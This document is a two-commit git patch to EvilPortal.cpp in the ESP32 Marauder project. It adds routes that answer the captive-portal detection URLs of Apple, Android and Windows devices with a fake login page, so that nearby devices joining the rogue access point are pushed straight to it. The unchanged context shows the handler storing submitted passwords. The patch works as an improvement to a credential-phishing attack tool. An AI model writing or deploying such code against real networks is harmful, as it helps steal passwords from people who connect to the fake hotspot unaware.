From b43a79e036968d3f9d757a063059575d245b8eb4 Mon Sep 17 00:00:00 2001 From: Bartek Pokrywka Date: Mon, 7 Jul 2025 16:49:24 +0200 Subject: [PATCH 1/2] Added captive endopints redirection to index_html --- esp32_marauder/EvilPortal.cpp | 30 ++++++++++++++++++++++++++++-- 1 file changed, 28 insertions(+), 2 deletions(-) diff --git a/esp32_marauder/EvilPortal.cpp b/esp32_marauder/EvilPortal.cpp index 991c608..0c33405 100644 --- a/esp32_marauder/EvilPortal.cpp +++ b/esp32_marauder/EvilPortal.cpp @@ -1,3 +1,4 @@ +#include "HardwareSerial.h" #include "EvilPortal.h" #ifdef HAS_PSRAM @@ -72,6 +73,30 @@ void EvilPortal::setupServer() { }); #endif + const char* captiveEndpoints[] = { + "/hotspot-detect.html", + "/library/test/success.html", + "/success.txt", + "/generate_204", + "/gen_204", + "/ncsi.txt", + "/connecttest.txt", + "/redirect" + }; + + for (int i = 0; i < sizeof(captiveEndpoints) / sizeof(captiveEndpoints[0]); i++) { + + #ifndef HAS_PSRAM + server.on(captiveEndpoints[i], HTTP_GET, [this](AsyncWebServerRequest *request){ + request->send_P(200, "text/html", index_html); + }); + #else + server.on(captiveEndpoints[i], HTTP_GET, [this](AsyncWebServerRequest *request){ + request->send(200, "text/html", index_html); + }); + #endif + } + server.on("/get-ap-name", HTTP_GET, [this](AsyncWebServerRequest *request) { request->send(200, "text/plain", WiFi.softAPSSID()); }); @@ -93,9 +118,10 @@ void EvilPortal::setupServer() { this->password = inputMessage; this->password_received = true; } + request->send( - 200, "text/html", - ""); + 200, "text/html", + ""); }); Serial.println("web server up"); } From a10bb164ac185b547becd2498da9db6a4f23e3e0 Mon Sep 17 00:00:00 2001 From: Bartek Pokrywka Date: Mon, 7 Jul 2025 16:52:27 +0200 Subject: [PATCH 2/2] Added captive endopints redirection to index_html --- esp32_marauder/EvilPortal.cpp | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) diff --git a/esp32_marauder/EvilPortal.cpp b/esp32_marauder/EvilPortal.cpp index 0c33405..3749e8e 100644 --- a/esp32_marauder/EvilPortal.cpp +++ b/esp32_marauder/EvilPortal.cpp @@ -1,4 +1,3 @@ -#include "HardwareSerial.h" #include "EvilPortal.h" #ifdef HAS_PSRAM @@ -118,10 +117,9 @@ void EvilPortal::setupServer() { this->password = inputMessage; this->password_received = true; } - request->send( - 200, "text/html", - ""); + 200, "text/html", + ""); }); Serial.println("web server up"); }